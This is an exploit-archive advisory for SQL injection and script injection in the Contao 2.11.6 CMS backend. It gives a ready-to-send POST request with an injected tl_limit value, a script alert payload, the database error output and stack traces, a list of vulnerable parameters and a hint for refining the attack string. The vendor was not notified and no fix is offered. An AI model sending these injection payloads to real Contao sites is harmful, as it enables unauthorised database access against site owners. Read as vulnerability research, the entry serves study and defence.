Author

aulmn

Risk

[

Security Risk Medium

]

0day-ID

0day-ID-19626

Category

web applications

Date add

24-10-2012

Platform

php

_________________________________________________________________________
              title: Contao 2.11.6 Multiple vulnerabilities
 vulnerable version: 2.11.6
             impact: medium
           homepage: www.contao.org
              found: 23.10.2012
                 by: aulmn
_________________________________________________________________________

Vendor description:
Contao is an open source content management system (CMS) for people
who want a professional internet presence that is easy to maintain.

_________________________________________________________________________

Vulnerability overview/description:

Because of wrong validation of filter.x parameter, there is possible of
sql-leak.
Vulnerability exists for logged-in users (not confirmed to pre-auth).

_________________________________________________________________________

Proof of concept:
1) to get to know 'what-is-the-validation-here', just work with payload for
filter.x parameter:
Sample output will be like this:
"
Fatal error: Uncaught exception Exception with message Query error:
Undeclared variable: XSS (SELECT * FROM tl_theme ORDER BY name LIMIT
XSS Example$(function() {$('#users').each(function() {var select =
$(this);var
option=select.children('option').first();select.after(option.text());select.hide();});});
[lt]script[gt]alert('xss');[lt]/script[gt],30)
thrown in /home/contao/contao-2.11.6/system/libraries/Database.php on line
686"


2) To make sql-leak here:
Request to vulnerable Contao CMS should look like this:
---8<---
POST /contao/contao-2.11.6/contao/main.php?do=themes HTTP/1.1
Host: 192.168.64.106

FORM_SUBMIT=tl_filters&REQUEST_TOKEN=tokenhere&filter.x=9&filter.y=5&tl_limit=1+or+1+in+(select+version())&tl_field=author&tl_value=&tl_sort=name
---8<---
...to see response like this:
---8<---

Fatal error: Uncaught exception Exception with message Query error: You
have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near 'or 1 in (select
version()),30' at line 1 (SELECT * FROM tl_theme ORDER BY name LIMIT 1 or 1
in (select version()),30) thrown in
/home/contao/contao-2.11.6/system/libraries/Database.php on line 686

#0 /home/contao/contao-2.11.6/system/libraries/Database.php(633):
Database_Statement->query()
#1 /home/contao/contao-2.11.6/system/drivers/DC_Table.php(3831):
Database_Statement->execute(Array)
#2 /home/contao/contao-2.11.6/system/drivers/DC_Table.php(344):
DC_Table->listView()
#3 /home/contao/contao-2.11.6/system/modules/backend/Backend.php(287):
DC_Table->showAll()
#4 /home/contao/contao-2.11.6/contao/main.php(120):
Backend->getBackendModule('themes')
#5 /home/contao/contao-2.11.6/contao/main.php(230): Main->run()
#6 {main}

---8<---
(or:

Fatal error: Uncaught exception Exception with message Query error: Got
error 'empty (sub)expression' from regexp (SELECT COUNT(*) AS total FROM
tl_theme WHERE LOWER(CAST(author AS CHAR)) REGEXP LOWER('xxxlalala'))
thrown in /home/contao/contao-2.11.6/system/libraries/Database.php on line
686


...or:

Fatal error: Uncaught exception Exception with message Too few arguments to
build the query string thrown in
/home/contao/contao-2.11.6/system/libraries/Database.php on line 717

)

So like You see we have a nice sql-leak here. (Try to comment out rest of
the line in attack string;))
_________________________________________________________________________

Vulnerable / tested versions:

2.11.6
Vulnerable parameters seems to be:
tl_limit
filter.x
tl_value
tl_sort



_________________________________________________________________________
The vulnerability is verified to exist in 2.11.6,
which is the most recent version at the time of discovery.

_________________________________________________________________________
Vendor contact timeline:
Nope.


_________________________________________________________________________
Solution:
Think about it.

#  0day.today [2024-09-29]  #